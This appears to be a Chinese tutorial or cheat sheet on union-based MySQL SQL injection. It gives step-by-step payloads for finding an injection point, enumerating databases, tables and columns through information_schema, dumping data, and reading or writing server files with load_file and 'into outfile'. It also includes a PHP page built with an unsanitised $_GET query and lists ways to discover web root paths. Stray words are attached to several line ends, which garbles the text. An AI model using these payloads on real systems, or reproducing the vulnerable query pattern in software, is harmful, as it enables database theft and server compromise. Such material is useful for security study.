mysql數據庫結構:php
數據庫A --> 表名 --> 列名 --> 數據html
數據庫B --> 表名 --> 列名 --> 數據mysql
mysql數據庫信息:web
mysql 5.0以上自帶數據庫:information_schemasql
information_schema.schemata: 數據庫下的schemata庫名,含義:存儲全部數據庫下的庫名信息的表。數據庫
information_schema.tables: 數據庫下的tables表名,含義:存儲全部數據庫下的表名信息的表。編程
information_schema.columns: 數據庫下的columns表名,含義:存儲全部數據庫下的列名信息的表。fetch
database():數據庫名網站
user():數據庫用戶編碼
version():數據庫版本
@@version_compile_os:操做系統
schema_name:庫名
table_name:表名
column_name:列名
mysql注入過程:
(1) 判斷注入點: ?id=1 and 1=1 ;? id=1 and 1=2
(2) 判斷長度: ?id=1 order by 3
(3) 獲取基本信息: @@version_compile_os , version() , database() , user()
(4) 獲取庫名: ?id=1 union select table_schema,2,3 from information_schema.schemata
(5) 獲取表名: ?id=1 union select table_name,2,3 from information_schema.tables where table_schema = 庫名[16進制]
(6) 獲取列名: ?id=1 union select column_name,2,3 from information_schema.columns where table_schema = 庫名[16進制]
and table_name = 表名[16進制]
(7) 獲取數據: ?id=1 union select 列名[16進制],列名[16進制],3 from 表名[16進制]
mysql文件讀寫操做:
(1) 讀取操做:
?id=1 union select load_file('d:/123.txt'),2,3
(2) 寫入操做:
?id=1 union select '123',2,3 into outfile 'd:/123.txt'
注意: 路徑問題:
使用"/"或者"\\" ; 緣由[編程中"\"多半是轉義]
編碼問題:
數據中有單引號,將數據編碼16進制便可
鏈接mysql數據庫語句:
<?php
header("content-type:text/html;charset=utf8");
$id=$_GET['x'];
$conn=mysql_connect("127.0.0.1","root","root");
mysql_select_db("sql",$conn);
$sql = "select * from php where id=$id";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo "<br>"."編號".$row['id']."<br>";
echo "<br>"."用戶".$row['user']."<br>";
echo "<br>"."密碼".$row['password']."<br>";
}
mysql_close($conn);
echo "<br>"."當前執行的sql語句:".$sql;
?>
網站路徑獲取方法
(1) 遺留文件:
通常在網站根目錄下,命名有php.php info.php phpinfo.php,test.php php_info.php等。
(2) 報錯顯示
(3)漏洞爆路徑
(4) 讀取搭建平臺配置文件
(5)社工(字典猜解,谷歌黑客等)
D:/www/ ; D:/wwwroot/ ; D:/web/ 等